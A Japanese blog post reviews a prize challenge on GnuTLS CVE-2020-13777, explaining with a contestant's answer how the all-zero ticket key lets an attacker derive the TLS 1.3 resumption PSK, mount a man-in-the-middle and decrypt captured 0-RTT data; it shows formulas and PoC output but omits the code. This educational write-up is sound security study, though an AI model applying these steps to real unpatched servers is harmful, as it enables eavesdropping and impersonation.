ぼちぼち日記

おそらくプロトコルネタを書いていることが多いんじゃないかと思います。

GnuTLSの脆弱性でTLS1.3の再接続を理解する(Challenge CVE-2020-13777)

(TLDR; めちゃくちゃ長くなったので、長文読むのが苦手な方は読まないようお願いします。)

1. はじめに

前回の「求む!TLS1.3の再接続を完全に理解した方(Challenge CVE-2020-13777)」 の記事にて、GnuTLSの脆弱性(CVE-2020-13777)のPoCを募集しました。 短い期間にも関わらず2名の方から応募を頂き、本当にありがとうございます。

また、応募しなかったけど課題に取り組んで頂いた方もいらしゃったようです。この課題を通じて、いろいろな方がTLS1.3仕様(RFC8446)に触れる機会を持っていただいたことを非常に嬉しく思います。

全くの初心者ではやはり課題が難しいとの意見もいただきました。今後はもう少し幅広い人に手をつけやすいよう工夫が必要であると感じていますが、はてさてどうしたらいいか、なかなか難しい。なんにせよ初めての試みでしたが、やってみてよかったと思っています。

2. 結果発表

応募を見させていただきました。結果、ペロトン(@prprhyt)さんが見事に解答されていると判断し、Vさんから(ブーストされた)3万円のアマゾン商品券と副賞として希望するラムダノート社の本1冊、私から1万円のアマゾン商品券を贈呈いたしました 。おめでとうございます!

応募内容を公開することを前提とした募集でしたので、この記事では応募解答についてコメントを付けながらTLS1.3の解説を進めます。

まずは課題の背景からです。

3. 課題の背景

今回のGnuTLSの脆弱性から課題を思いついたのは、前回のエントリーで述べた以下の理由です。

この脆弱性、実際にPoCを書いてみると非常に奥が深いです。TLS 1.3をちゃんと理解していないと無理です。

TLS 1.2 と TLS 1.3 でなぜ影響に違いがあるのか、そこはTLS 1.3の進化が見えるところです。またアナウンスには記述されていませんが、TLS 1.3の0-RTTを利用していた場合、この脆弱性によって大きな影響が新しく出てきます。

具体的にTLS1.2から1.3へどのような進化があったのかを見るには、その背景を理解しておくことが重要です。

そこで、今回の背景を理解するために必要な「Forward Secrecy(前方秘匿性)」と「TLS1.2におけるTicket方式の問題点」について説明します。

3.1. Forward Secrecy (前方秘匿性)

Forward Secrecy(前方秘匿性)は、TLSの機能を理解する上で非常に重要な概念です。ただ数年前私が初めてこの言葉に触れた時、何が「Forward」なのかすぐにわかりませんでした。

TLSを始めとした暗号通信は、通信している間だけセキュリティを確保できていればいいわけではありません。現在でもかなりのインターネット通信が傍受・保管されていると言われています。時間が経っても暗号通信した内容が外部に漏れないよう守られていることが必要です。

Forward Secrecyは、盗聴者が全部の通信データを保管しておき、数年後に暗号鍵が漏洩して通信データの内容がばれしてしまうリスクを防ぐ技術です。 「未来の安全」を確保するという意味で、時が進む「Forward」を指すと解釈して、やっと自分もこの言葉が腑に落ちました。日本語だと「通信後の秘匿性」という言葉にした方がわかりやすいんじゃないでしょうかね。

f:id:jovi0608:20200703085337p:plain

TLS1.2のRSA鍵交換は、クライアントで生成した暗号鍵(master secret)をサーバ証明書の公開鍵で暗号化し、サーバに送付します。この方法では、後日サーバ証明書秘密鍵が漏洩すると、TLSハンドシェイクデータから master secret を入手することが可能になってしまいます。Forward Secrecyが保てません。

そのため、現在ではTLS1.2でRSA鍵交換の利用は非推奨です。代わりにセッション確立時に一時的(Ephemeral)に暗号鍵を生成するECDHEの利用が推奨されています。

ECHDEでも楕円暗号曲線で利用する秘密鍵は生成されますが、TLSハンドシェイクが終了したらもう必要なくサーバで保管する必要はありません。なので後日漏洩して危殆化する可能性はありません。(実際はメモリ中に一時秘密鍵が残っていることもかもしれませんが)

3.2 TLS1.2におけるTicket方式の問題点

しかしTLS1.2も、ECDHEを使っていれば大丈夫、どんな時もForward Secrecyが保たれて安全というわけではありません。通常複数のサーバでTLSを運用する場合、再接続時にクライアントが別のサーバに振られてフルハンドシェイクしないよう、セッションIDやTLS Ticket方式が利用されることが多いです。

セッションID方式では、複数サーバ間でセッション情報を共有しておく仕組みが必要です。大規模になるとなかなか運用していくのが大変です。

その点 TLS Ticket方式は、セッション情報を暗号化してチケットにしてクライアントに渡しますので、大規模なセッション共有システムは必要ありません。再接続時に送られたチケットを復号化する暗号鍵だけをサーバ間で共有しておけばいいので楽です。

しかしTLS1.2での Ticket方式は、チケットを暗号化した鍵が漏洩すると Forward Secrecy がなくなるという致命的な問題を持っていました。

f:id:jovi0608:20200703085415p:plain

チケットの中には、再接続用に master secretなど入ったセッションデータがまるまる暗号化されて入っています。後日もしなんらかの理由でチケットを暗号した鍵が漏洩し攻撃者に渡るとしたら、master secret を使って昔のTLSの通信データの中身が丸わかりになってしまいます。

そのためTLS1.2でTicket方式を使う場合、チケットの暗号鍵をいかに安全に運用・管理していくのかが大きな課題となっています。

そのような課題を克服するため、TLS1.3では再接続の仕組みを大きく変更し、チケット利用でForward Secrecyがなくなる、といったTLS1.2におけるTicket方式の欠点の解消される仕組みを取り入れました。

こういった背景を知っていただいた上で、ペロトンさんの応募解答を見ていきましょう。

応募解答 と コメント

ペロトンさんの応募解答のオリジナルは、Challenge CVE-2020-13777(MITM, 0-RTT Application dataの復元)にあります。 ここでは一部抜粋しながらフォロー記事を書いていきますが、ぜひオリジナルも参照してください。また今回の課題のフォローブログも掲載予定と聞いております。楽しみにしましょう(判明後URLリンクを入れます)。すぐ公開されました。

atofaer.hatenablog.jp

フォロー記事を書くにあたり、オリジナルの応募原稿をどう損なわずにのがいいのか色々試行錯誤してしまい、このブログを公開するのに時間がかかってしまいました。結局、自分のコメントは赤字で (コメント) ... (コメント終) の中に書いています。

ペトロンさんの図は黒色実線、私が作成した図は赤色破線で囲って区別できるようにしています。少し見苦しいと思いますが、誰が書いた文章なのかを間違えないよう、注意してお読みください。

以下、ペトロンさんの応募解答+私のコメントになります。

Challenge CVE-2020-13777(MITM, 0-RTT Application dataの復元)

この解説文章・PoCの目的

(省略)

免責事項

(省略)

はじめに

(省略)

CVE-2020-13777について

(省略)

次のセクションでTLS1.3における影響について説明します。

1. TLS1.3でのMITM攻撃について

次の1つめの課題の解答をする章です。

  1. pcap中のTLS1.3 ClientHelloデータだけ使って、CVE-2020-13777によってTLS1.3のMITMが可能であることを証明してください。

(コメント)
この課題を考える時、「ClientHelloデータだけ」と書いていいかどうかすごく悩みました。実は不備があるからです。ペトロンさんから、今回の省略している部分(POCコード)の説明で、この条件の不備をちゃんと指摘されてました。

 このPoCの範囲外
 - CipherSuiteの推定
   - 簡単のため、攻撃者は1回目のCHLOのCipher Suitesのリストを見て先頭にあるTLS_AES_256_GCM_SHA384をサーバーが選択したと推定した仮定でハードコーディングしている

はい、CipherSuiteの推定が必要です。ClientHello だけでは、どのCipherSuiteを使った/使うのかわかりません。resumption PSKによる再接続では少なくとも前回の接続でのCipherSuiteのHASHがわかっていないと鍵の導出がで きないのです。本来ならServerHelloの情報も含めてと書くのが正確な課題の出し方です。

しかし、そもそもこんな「ClientHelloだけ」という不正確な条件をつけたのか。理由は、課題2を解いたことで課題1の証明するような応募を避けたかったことと、何をもって証明したとして見なせばいいのか、PSK認証の本質と私が考えていることについて述べてほしかったからです。後半の理由は後ほど詳細に書きます。
(コメント終)

PSKを使った認証

セッション再開におけるPSK(PreShared Key)はサーバーがクライアントを認証するための値です。 また、HandShakeやアプリケーションデータを暗号化/復号するための鍵のシードのようなものとしても利用されます。 PSKはexternal-PSKとresumption-PSKの二種類があり、PSKの共有方法によって分類されています。 external-PSKはTLSの帯域以外(つまり他の手段で)共有されるPSKです。 一方で、resumption-PSKは前回のセッションで用いたPSKです。セッション再開の認証に使うPSK候補が複数ある場合はサーバーからのNewSessionTicketの通知の際に次回のセッション再開と鍵の導出で使用するPSKと対応するPSK-IDが通知されます。クライアントはセッション再開時はPSK-IDに従って鍵の導出に使用するPSKを選択します。 今回はresumption-PSKを使った場合を例に説明します。以後は特に断りがない場合はPSKと書いてあるものはresumption-PSKと読み替えてください。

(コメント)
PSKについての説明です。内容は全く問題ありません。もう少し視野を上げてTLS1.3のハンドシェイクの種類で接続を分類すると下図のようになります。 f:id:jovi0608:20200703054834p:plain

TLS1.3には、大きくフルハンドシェイクとPSK接続の2種類のハンドシェイクが使われていると考えていいでしょう。正確には最初のハンドシェイクで鍵交換に失敗して2-RTTの接続してしまうハンドシェイク(Incorrect DHE Share)があります。しかし今回はわかりにくくなるので除きます。

フルハンドシェイクは、サーバ認証が必須です。通常はX.509証明書と秘密鍵を用いて認証を行います。クライアント認証も行えますがオプション扱いです(今回の図からは除いています)。

一方PSK接続の方は、応募解答に書いてある通り external PSK と resumption PSKの2つに別れます。external の方は「帯域外(out of bound)」での共有です。こういう意味での out of bound の和訳って困ってしまいますよね。私はそのままにしています。なお external PSKについては、既にプロトコル上の脆弱性が見つかっております。利用する場合には注意が必要であることをお忘れなく。

datatracker.ietf.org

resumption PSKの方は、応募解答に書いてあるとおり前回のハンドシェイクを基にPSKを共有する方式です。実はresumption PSKにも stateful と stateless の2種類あります。

statefull resumption PSKは、セッションIDをTicketに含め、セションデータはサーバ側で保持する方式です。クラスターを組んでいる場合は、複数サーバ間でセッション状態を共有しておく必要があります。TLS1.3ではセッションIDフィールドが廃止されましたが、こんなところに引っ越していたんです。

stateless resumption PSKは、セションデータを暗号化してTicketに含める方法です。今回のやり方になります。一旦クライアントにセッションデータを預けてしまうため、サーバクラスター間ではチケット内のセッションデータを復号するチケ ット鍵だけを共有しておけばいいわけです。これはTLS1.2の時代と変わりません。

少し前に知ったのですが、OpenSSL-1.1.1のTLSサーバでTLS1.3利用時にTicket無効化のオプションを設定しても、NewSessionTicketが送られてPSK接続になってしまいます。実はこの時、OpenSSLは stateful resumption PSK を使っていて、OpenSSLのメモリ内でセッシ ョンデータを保持して再接続を処理しています。本当にTicket利用を無効化したい場合は、送信するTicket数を明示的に0にするという設定をしないといけないです。

考えられるTLS1.3ハンドシェイクの形態を全部まとめると下表のように7種類になります。

f:id:jovi0608:20200703054829p:plain

ここでは細かく項目を説明しませんが、それぞれのハンドシェイク形態でやれること、セキュリティ状態が異なります。今回は3番目の statefull (* 1) stateless resumpition PSK が課題の対象となります。 (* 1 鹿野さん、間違いの指摘ありがとうございます。)
(コメント終)

セッションチケットとPSK

PSKはセッションチケットから導出可能です。これはセッションチケットの暗号化鍵が攻撃者に知られるとセッション再開の認証に必要な情報であるPSKを攻撃者が入手できることを意味します。 そして、これは攻撃者が正規のクライアントになりすますことができることを意味します。

順を追って説明します。CVE-2020-13777はサーバーが持つセッションチケットの暗号化鍵がall-0になる脆弱性です。 つまり、この脆弱性によって攻撃者はセッションチケットの暗号化鍵が0だと推測して、その内容を不正に復号することができます。 では、攻撃者がセッションチケットの内容を入手できると、どういった手順でPSKの導出をし認証のバイパスが可能になるのでしょうか。 それを明らかにするためにはまず、TLS1.3でセッションチケットの内容や認証の手順を理解する必要があります。 それでは正常時のセッションチケットを利用した認証を例に順を追って説明します。 次の図を見てください。 図中の登場人物は次のとおりです。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3サーバー

f:id:jovi0608:20200703054930p:plain f:id:jovi0608:20200703171211p:plain f:id:jovi0608:20200703054926p:plain

[図:セッション再開時のPSKによる認証]

図中の<>はセッションチケットの暗号化鍵で暗号化されたメッセージです。 図中の{}は[sender]handshake_traffic_secretで暗号化されたメッセージです。 図中の[]は[sender]application_traffic_secret_Nで暗号化されたメッセージです。

1つめの図はGnuTLSにおけるセッションチケットの書式を表しています。 そして、2つ目の図フルハンドシェイクの時の認証はフルハンドシェイクのシーケンスと認証部分の図です。図の通り、セッションチケットはサーバーからクライアントへNewSessionTicketによって通知されます。また、認証は証明書によって行われます。

(コメント)
惜しい、TLS1.3のフルハンドシェイク時の認証部分が違います。これを理解するため、サーバの秘密鍵を知らない攻撃者がTLS1.3でどこまで中間者攻撃ができるか思考実験をしてみましょう(下図)。

中間攻撃者は、平文でやり取りされるClientHello/ServerHelloを自由に書き換えることができます。それぞれの key_share拡張に入っている公開鍵情報を、中間攻撃者が作成した公開鍵に差し替えてやれば、攻撃者が生成する共有鍵をクライアント・サーバそれぞれに確立することが可能です。そのため、暗号化された EncryptedExtension や Certificate は中間攻撃者に筒抜けです。暗号化されているから認証されているわけではありません。

しかしCertificateVerifyまで来たら事情が異なります。中間攻撃者はサーバの秘密鍵を持っていないので、サーバ証明書の公開鍵に応じたハンドシェイク署名(CertificateVerify)を作成できないのです。勝手な秘密鍵でCertificateVerifyを偽造したとしても、クライアントは証明書の公開鍵を使って署名検証するため検証エラーになります。中間攻撃者はここでジエンドです。

f:id:jovi0608:20200703054824p:plain

中間攻撃者は暗号化された証明書を見れるのだから、中間攻撃者が証明書自体を改ざんしたらどうなるでしょうか? なりすまし用に作成した公開鍵に入れ替えてやれば、CertificateVerifyにあるハンドシェイク署名データの偽造できるかもしれません。

残念ながら、サーバ証明書がトラストアンカー(ルート証明書)を起点として電子署名がされているので、クライアント側で証明書の改ざんがチェックされエラーになります。認証局システムを破って不正なサーバ証明書を発行しない限り無理な話です。

f:id:jovi0608:20200703055009p:plain

なのでTLS1.3のフルハンドシェイク時の認証は、上図の範囲(Certificate, CertificateVerify, Finished)になります。
(コメント終)

そして3つ目の図セッション再開時のPSKによる認証はセッション再開時のシーケンスと認証部分の図です。クライアントはセッションを再開するタイミングでセッションチケットを送信します。そして、サーバーが受け取ったセッションチケットはセッシ ョンの再開の認証に使われます。 サーバーがセッションチケットの情報を受け取るとチケットの情報とサーバーが保持している情報を基にクライアントを認証し、認証が成功するとセッションを再開します。なお、PSKによるセッション再開時の認証が成功した場合、証明書による認証は行われません

より具体的な説明をします。まず、図GnuTLSのチケット書式の右側の"GnuTLSのチケットデータの中身の書式"を見てください。 サーバーは上から5つ目の項目のresumption_master_secretと7つ目の項目のnonceがあります。サーバーはこれらをHKDF-Expand-Label関数(※1)に入力してPSK(PreShared Key)を生成します。

psk=HKDF-Expand-Label(resumption_master_secret,
                        "resumption", nonce, Hash.length)

参考:RFC8446 4.6.1 https://tools.ietf.org/html/rfc8446#page-75 を基に作成

サーバーは上記の式でセッションチケットからpskを導出した後にbinder値(※2)を計算して、PSKを検証した後に自身が手元に持っているpskのリストと照らし合わせてpskがリストに存在するか、最初にこのpskが生成されてから規定以上の時間が経っていないかをチェックすることで認証を行います。

※1 HKDF-Expand-Labelは一方向性の性質を持つ鍵導出関数です。詳細については割愛しますが、出力から入力を導出できないことを覚えておいてください。 一方向性については後に登場するHKDF-Extractなど今回の説明で登場するHKDF-xxxという関数やderive_secretについても同様です。HKDFの仕様についてはRFC5869を参照してください https://tools.ietf.org/html/rfc5869

※2 簡単のため、binder値の計算については省略します。PoCに実装してありますので、興味のあるかたはそちらを参照してください。

(コメント)
「簡単のため、binder値の計算については省略します。」

くぅぅ、惜しい。自分としては、ここでbinder値を絶対に計算して欲しかったです。binder値こそがPSK認証の要の一つなんです。
まず、ここで実際にPSKの中身はどうなっているのか wireshark で見てみましょう。

f:id:jovi0608:20200703054951p:plain

四角で囲った部分がPSK拡張です。これはClientHelloの一番最後に配置されてないといけません(理由は後述)。 PSK拡張の中は、PSK Identity と PSK Binders で構成されています。PSK Identity は Identity と Obfuscated Ticket Age(難読化されたチケット経過時間) の2つが含まれています。Identityには、resumption PSKでは ticket そのものが入ります。

チケット経過時間がなぜ難読化されているのか? ClientHelloは平文であるため、チケットの経過時間が外部からわかるとその情報を使って色々いたずらされる可能性が出てきます。そのためクライアントは、チケットの経過時間にサーバから送られた難読化のための数値(ticket_age_add)を追加して、外から実際の経過時間がわからないように対策します。

PSK binders は、ClientHelloのハンドシェイクデータの先頭からPSK Binderの直前までのデータ(Truncated ClientHello)のハッシュ値を使います。このデータを resumption_master_secret から導き出した binder_key を使って Finished と同じような形でHMACした値です。

bindersの役割は2つあります。まずクライアントとサーバで同じ resumption_master_secret を持っていることを確認することです。もう一つは、Truncated ClientHelloが改ざんされていないことを保証することです。PSK拡張がClientHelloの一番最後に配置されないといけないのは、binderによるClientHelloの改ざん検知を最大限の範囲にするために必要な条件だからです。

新規接続のフルハンドシェイクからの流れを図示したのが下図です。

f:id:jovi0608:20200703054819p:plain

サーバは、PSKを持つClientHelloを受け取ったら、

1. まずPSK identityを復号し、ticket データからセッションデータや resumption_master_secret を取得します。
2. Obfuscated Ticket Ageの難読化を解き、チケットの経過時間を取得します。そして、NewSessionTicket中で規定したチケットの有効期限内かどうかチェックします。
3. クライアントと同じ方法で resumption_master_secret から binder_key を導出します。
4. サーバ側で Truncated ClientHello のデータと binder_secret からbinder値を計算します。
5. クライアントから送られてきた binder値とサーバが計算したbinder値が一致していれば、双方同じ resumption_master_secret を事前に共有していた相手であると確認したこととなり、認証が終わります。

このように binder によるMAC検証は、PSK認証を行う大きな要素の一つだということがわかるでしょう。
(コメント終)

MITM攻撃の手順を考える

この節では攻撃者がTLS1.3を使っている架空のシステムに対してCVE-2020-13777を使い、MITM攻撃(中間者攻撃)をする場合の手順を考えます。 前の節でPSKを用いたセッション再開時の認証のおおまかな流れについて説明しました。 MITM攻撃行うためには暗号化された通信の内容を復号して再度暗号化する必要があります。 つまり、攻撃者が攻撃を成功させるには鍵の導出や合意に必要な情報を持っている必要があります。 次の図を見てください。

f:id:jovi0608:20200703054934p:plain 図:TLS1.3のKey Scheduling

図の引用元: RFC8446 7.1 https://tools.ietf.org/html/rfc8446#page-93

この図はTLS1.3のKey Schedulingを表しています。 図の左上に着目してください。PSKと書いてあります。つまり、PSKを持っているとTLSのearly dataの暗号化/復号に必要なkey, ivを導出するための秘密情報(Secret)が手に入ります。

(コメント)
この HKDF をベースとした TLS1.3 の鍵スケジュールは、TLS1.2から一番進化したところです。この部分もいろいろコメントしたい部分がありますが、これ以上分量を増やすのもなんなんで、やめておきます。またの機会に。
(コメント終)

ハンドシェイクやアプリケーションデータを暗号化/復号するkey, ivの導出はどうすればよいでしょうか。 key, ivを導出する式を次に示します。

   [sender]_write_key = HKDF-Expand-Label(Secret, "key", "", key_length)
   [sender]_write_iv  = HKDF-Expand-Label(Secret, "iv", "", iv_length)

式:暗号化/復号 key, ivの導出

引用: RFC8446 7.3 https://tools.ietf.org/html/rfc8446#section-7.3

[sender]はデータを暗号化して送信する側を示していて、clientかserverが入ります。Secretには暗号化対象のデータ種別に対応するtraffic secretを入れます。 具体的なSecretの例を3つ紹介します。

  • 送信側がクライアント, 受信側がサーバーでearly data(0-RTT Application Data)の暗号化, 復号を行う場合
    • client_early_traffic_secret から導出したkey, ivを選択
  • 送信側がクライアント, 受信側がサーバーでハンドシェイクの暗号化, 復号を行う場合
    • client_handshake_traffic_secret から導出したkey, ivを選択
  • 送信側がサーバー, 受信側がクライアントでアプリケーションの暗号化, 復号を行う場合
    • server_application_traffic_secret_N から導出したkey, ivを選択

なお、KeySchedulingの図について、[sender]handshake_traffic_secret, [sender]application_traffic_secretの導出に着目すると、 これらの導出には(EC)DHEの共有鍵が必要なことがわかります。攻撃者は(EC)DHEへの中間者攻撃を行うことで(EC)DHEの共有鍵を手に入れることができます。

ここまでの流れをまとめると次の図のように攻撃できます。 図中の登場人物は次のとおりです。 なお、前提としてAliceはセッション再開以前にCVE-2020-13777の脆弱性を持っているBobをやりとりをしていて、PSKを用いてセッションの再開を試みているものとします。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3サーバー(ただし、CVE-2020-13777の脆弱性を持っている)
  • Mallory: MITM攻撃を行う攻撃者

f:id:jovi0608:20200703054919p:plain

RFC 8446 2.3節より、 PSKでの認証時はサーバーは証明書による認証を行ないません。 そのため、認証のバイパスに成功するとそれ以後、Malloryは[sender/receiver]handshake_traffic_secretや [sender/receiver]application_traffic_secret_N を用いて鍵やivを導出し、ハンドシェイクやApplication Dataの暗号化/復号ができるため、MITM攻撃が成立します。また、PSKの導出にはセッション再開時のCHLOのみを使っているので設問の要件「ClientHelloデータだけ使って」という要件を満たします。

(コメント)
MITM攻撃の手順は上記の通りで問題ありません。resumption_master_secretから導出したPSKを攻撃者が作成できれば、芋づる式にTLS1.3で利用する各種暗号鍵を生成できることとなり、PSK接続のハンドシェイクを自由に盗聴・ 改ざんし、成りすましもできるようになります。

ただ惜しむらくは、binderのチェックを省略せず入れて欲しかったぁ。

今回Ticketデータの書式を課題で提示しましたが、もし間違ったオフセットで resumption_master_secret を抽出していたり、(今回の課題の仮定の範囲外ですが)書式自体の間違いや更新などがあったら、MITMが成功しません。中間攻撃者がMITMを確実に成功させるには、ClientHelloを受信した時点で中間攻撃者自身がbinderの計算を行い一致するかどうかを確認するのが一番確実です。

中間攻撃者は、binder値の一致をもって、PSK Identityから解読したクライアント・サーバ間で事前共有されている resumption_master_secret が入手できたと初めて客観的に証明できるわけです。それが「ClientHelloデー タだけ」 という指定を入れた意図でしたが、やっぱり意図通りに課題を作るのは難しいと実感しました。これは出題者の力不足です。

ただ binder値のチェックはちゃんとPOCにも入っていますし、PSK生成からのMITMの手順も間違っていないのでこの解答を正解とみなしたいと思います。
(コメント終)

2. 0-RTT Application dataの復号

次の2つめの課題の解答をする章です。

  1. pcap中の暗号化されたTLS1.3 の 0-RTTアプリケーションデータをCVE-2020-13777によって復号し、アプリケーションデータの平文を取得してください。

PSKを導出するまでは1と同じです。説明とPoCを次に示します。なお、PoCの実装に際して

  • セッションチケットの復号時のMACのチェックの成功可否
  • 導出したPSKのbinderのチェックの可否
  • 0-RTT Application Dataの復号時のMACのチェックの成功可否

これらをコードの実装のヒントとして利用しました。 PoCの方針は次の図0-RTT Application dataの復元の通りです。 図中の登場人物は次のとおりです。 前提として、これまでと同様にAliceはセッション再開以前にCVE-2020-13777の脆弱性を持っているBobをやりとりをしていて、PSKを用いてセッションの再開を試みているものとします。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3クライアント(ただし、CVE-2020-13777の脆弱性を持っている)
  • Eve: Aliceのパケットを盗聴し、CHLOのApplication dataを不正に復元しようとする攻撃者

PSK導出後、Key SchedulingにしたがってPSKからclient_early_traffic_secureを導出します。 次にclient_early_traffic_secureからkeyとivを導出(※3)し、nonce=iv xor packet_number(=0, ApplicationDataはCHLOパケットに含まれているため)(※4)を算出します。

(コメント)
IVの生成もTLS1.2が大きく変わった点です。TLS1.2まではIVは明示的に生成してTLSレコードにつけていましたが、TLS1.3ではそれが必要なくなりました。これによってIVの再利用のリスクを無くすこともでき、IV分のデータ長も節約できることになりました。
(コメント終)

最後に復号をします。 暗号アルゴリズムは初回のセッションのCHLOのCipherSuitesのリストの最上位がCipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)であることからAESのGCMモードで鍵長32byte, nonce12byte, MACの長さが16byteであると推定します。 AEADのassociateは(Early dataが入っているTLSレコードレイヤーのヘッダ+暗号文の長さ)であるのがGnuTLSや他のTLS実装のソースコードにより判明したためそれを利用します。

(コメント)
AEADで改ざん検知を行うAssociate Data部分にはTLSレコードレイヤが入りますが、TLS1.3ではこの部分は改ざんされても問題ないので特に入れ込む必要がないデータです。ただ形式証明を行う場合に入っていないと正確な分析ができないということで入れ込むことになりました。透過性の問題さえなければレコードレイヤー自体必要のない無駄なデータなんです。
(コメント終)

最後に末尾16byteをMACとして切り出し、残りを暗号文として復号関数に入力します。

f:id:jovi0608:20200703054913p:plain

ここまでの説明した方針に沿って実装したPoCを実行した結果を示します。 復元したApplication dataの平文をASCIIと16進数文字列で表示した結果は次の通りです。 また、PoCのコードはこの記事の末尾にあります。

$python3 main.py
b"Let's study TLS with Professional SSL/TLS!\n\n\x17"
4c6574277320737475647920544c5320776974682050726f66657373696f6e616c2053534c2f544c53210a0a17

図:PoCの実行結果

(コメント)
お見事! 正解は、「Let's study TLS with Professional SSL/TLS!\n\n」でした。最後の0x17は、Application の Content-Type (23) が入ったものなのでちょっと余分ですが、問題ないです。

このように、TLS1.3では 0-RTT で送信されるデータの Forward Secrecy は確保できません。Ticket鍵が漏洩すれば、後日保管しておいたpcapファイル中の暗号データから平文データを解読できます。

しかしハンドシェイク後に送受信されたアプリケーションデータのForward Secrecyは守れます。これは、PSK接続では PSKと(EC)DHEを組み合わせたハイブリットモードを用意しています。psk_key_exchange_mode拡張で psk_dhe_ke が指定されている場合にPSK/(EC)DHEのハイブリッドで鍵交換されます。

下図の通り、0-RTTのデータは(EC)DHEとハイブリッド鍵交換する前の鍵で暗号化されるので Forward Securityはないですが、ハンドシェイク後のアプリケーションデータは、PSKと(EC)DHEのハイブリッド鍵交換後に導出された暗号鍵で守られています。

f:id:jovi0608:20200703054813p:plain

(EC)DHEは再接続時に一時的に生成されるものなのですぐ消去することができます。攻撃者がresumption_master_secretを入手してPSKを導出しようと、再接続時の一時鍵(EC)DHEがわからなければアプリケーションデータの暗号鍵を導出することは不可能だからです。
(コメント終)

自身でPoCを実行して結果を確認するには下記のリンクからChallenge CVE-2020-13777のpcapファイルをダウンロードし、次に示すディレクトリの構成を参考にPoCの実行ファイル(ファイル名:main.py)をpcapファイルと同じ階層に配置してください。

(コメント)
以下PoCコードの説明が続きますが、省略します。続きは、オリジナルの応募解答か、ペロトンさんのブログを参照してください。
(コメント終)

(コメントまとめ)

いろいろ難癖つけてる感じに読めますが、短期間で見事な解答だと思います。ちょうど解答が「Let's study TLS with Professional SSL/TLS!」でペロトンさんもプロフェッショナルSSL/TLSをお持ちでないということでVさんからの副賞はプロフェッショナルSSL/TLSになりました。 十分本の内容を理解できる実力をお持ちだと思うので、しっかり読み込んでいただきたいと思います。
課題に取り組んでいただいた皆さん、ありがとうございました。
(コメントまとめ終)

求む!TLS1.3の再接続を完全に理解した方(Challenge CVE-2020-13777)

1. GnuTLSの深刻な脆弱性(CVE-2020-13777)

先日、GnuTLSで深刻な脆弱性が見つかりました。

GNUTLS-SA-2020-06-03: CVE-2020-13777

It was found that GnuTLS 3.6.4 introduced a regression in the TLS protocol implementation.
This caused the TLS server to not securely construct a session ticket encryption key considering the application supplied secret, allowing a MitM attacker to bypass authentication in TLS 1.3 and recover previous conversations in TLS 1.2.
See #1011 for more discussion on the topic.
Recommendation: To address the issue found upgrade to GnuTLS 3.6.14 or later versions.
.
GnuTLS 3.6.4では、TLSプロトコルの実装にリグレッションが入っていることが判明しました。
これによりTLS サーバは、アプリケーションから渡された秘密鍵を使ってセッションチケットを暗号化する鍵が安全に生成されませんでした。
TLS 1.3では中間攻撃者が認証をバイパスすることができます。TLS 1.2では過去の通信を復号することができます。
このトピックに関する詳細な議論は、#1011を参照してください。
推奨: 発見された問題に対処するには、GnuTLS 3.6.14 以降のバージョンにアップグレードしてください。

issueを見ると、なんと stateless なTLS再接続を実現するTLSのセッションチケット情報が、TLSサーバ立ち上がりの数時間はオール0の暗号鍵で暗号化されていたというバグでした。

2年近く前、チケットの暗号鍵にTOTP(Time-Based One-Time Password Algorithm)のような機能を導入し、暗号鍵が定期的に変わるように変更したようなのですが、その際初期化のところでバグが入っていたようです。

これはなかなか衝撃的で痺れる脆弱性です。脆弱性に該当するバージョンを利用している方は直ちにアップデートしてください。

TLSセッションチケットの中身を守ることは、TLS通信の安全性を確保する要の一つです。脆弱性対象のGnuTLSを利用している全てのTLSサーバで、このチケットを暗号化する鍵が危殆化してしまったのですからそりゃ大変です。

ネット上では、このTOTPは意味はないのに入れちゃって、かえって致命的なバグを混入させたとして、GnuTLSに対する信頼性について批判するような意見も見受けられています。

issue見ると、日本人の名前の方がGnuTLSのメンテをされているようです。大変なご苦労かと思います。 ここではGnuTLSがどうだこうだと言うつもりはなく、純粋に技術的な観点からこの脆弱性の影響について考えてみたいと思っています。

2.ものは試し Challenge CVE-2020-13777

この脆弱性、実際にPoCを書いてみると非常に奥が深いです。TLS 1.3をちゃんと理解していないと無理です。

TLS 1.2 と TLS 1.3 でなぜ影響に違いがあるのか、そこはTLS 1.3の進化が見えるところです。またアナウンスには記述されていませんが、TLS 1.3の0-RTTを利用していた場合、この脆弱性によって大きな影響が新しく出てきます。

さっそく「GnuTLSの脆弱性(CVE-2020-13777)でTLS1.3の再接続を完全に理解する」というタイトルでブログを書こうと思いましたが、いつもの通りでは面白くない。なんか良からぬ考えが頭をよぎりました。

これ、どのぐらいの方が理解されるのでしょうか? 一度問題を作って、回答を公募してみようと思います。

3. 問題

以下のレポジトリにある pcap データを使って次の問題1,2に回答してください。
pcap データにはGnuTLS-3.6.13のサーバ(192.168.100.23:5556)に対するTLS1.3の接続データが2つ含まれています。1回目は新規TLS1.3接続、続く2回目は 0-RTT のTLS1.3再接続です。

https://github.com/shigeki/challenge_CVE-2020-13777

  1. pcap中のTLS1.3 ClientHelloデータだけ使って、CVE-2020-13777によってTLS1.3のMITMが可能であることを証明してください。
  2. pcap中の暗号化されたTLS1.3 の 0-RTTアプリケーションデータをCVE-2020-13777によって復号し、アプリケーションデータの平文を取得してください。

できるだけ純粋にTLS1.3仕様の理解を実証していただくため、GnuTLS固有で必要な情報(暗号化されたチケットの書式、チケットの中身の書式)は以下にヒントとして記しておきます。 f:id:jovi0608:20200613055805p:plain

不明な点は、直接GnuTLSのソースコードを参照してください。

4. 応募方法、期限

回答の説明と回答を得るために使ったソースコード を secret gist にあげて、そのリンクを私(twitter:@jovi0608)までDMで送ってください。

2問回答された方で、私の判断で一番見事と思う回答者1名にアマゾンギフト券(1万円)を贈呈したいと思います。

対象者が複数いた場合は、応募時間が先の方に贈呈します。

4.1 Vさん賞贈呈の追記 (6/13 13:40)

急遽Vさん賞を別途設けます。Vさんが好みそうな方を独自に選んでギフト贈呈します。

応募期限は、2020年6月18日(木) 23時59分59秒(JST) です。

5. 応募条件、免責事項

応募条件は、細かいですが以下の方でお願いします。

  • 「TLS1.3やQUICの実装していて、他者に提供している人」でない方:(実装されてる方は完全に理解されてますよねw 自己申告に任せます)。(追記6/13 11:24, ちょっと書き方が紛らわしかったので少し明確にしました。)
  • 正解の有無に関わらず、応募された twitter/githubアカウントや応募内容について、このブログで公開を許可していただける方(内容によっては文意を変えない程度に編集をさせていただきます)。
